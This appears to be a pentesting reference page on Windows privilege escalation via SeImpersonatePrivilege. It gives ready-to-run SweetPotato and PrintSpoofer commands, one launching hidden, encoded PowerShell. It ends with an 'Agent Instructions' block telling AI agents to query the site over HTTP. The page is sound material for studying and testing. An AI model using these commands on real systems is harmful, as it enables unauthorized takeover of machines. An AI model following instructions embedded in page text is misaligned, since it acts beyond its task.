# SeImpersonatePrivilege

### Potatoes

Potatoes are a common way to escalate privileges on a Windows system after either the`SeImpersonate` or `SeAssignPrimaryToken` privileges have been enumerated. This can be accomplished quickly by running the following command:

```bash
whoami /priv
```

#### Sweet Potato

As noted by [Jorge Lajara](https://jlajara.gitlab.io/Potatoes_Windows_Privesc#sweetPotato), [Sweet Potato](https://github.com/CCob/SweetPotato) is one of the most successful potatoes to escalate privileges with. It contains the following exploits built-in to it, rendering the other potatoes obsolete:

> * RottenPotato
> * Weaponized JuicyPotato with BITS WinRM discovery
> * PrintSpoofer&#x20;
> * EfsRpc built on EfsPotato
> * PetitPotam

```bash
# Exploiting a host with SweetPotato
.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc <BASE64_CMD>"
```

### PrintSpoofer

```bash
# Verify that the Print Spooler service is running
Get-Service Spooler

# Run the PrintSpoofer executable to escalate privileges
.\PrintSpoofer.exe -i -c powershell
```

### References

{% embed url="<https://jlajara.gitlab.io/Potatoes_Windows_Privesc>" %}
Guidance on using Potatoes
{% endembed %}

{% embed url="<https://github.com/itm4n/PrintSpoofer>" %}

{% embed url="<https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/privilege_escalation/windows/abusing-privileges/seimpersonateprivilege.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
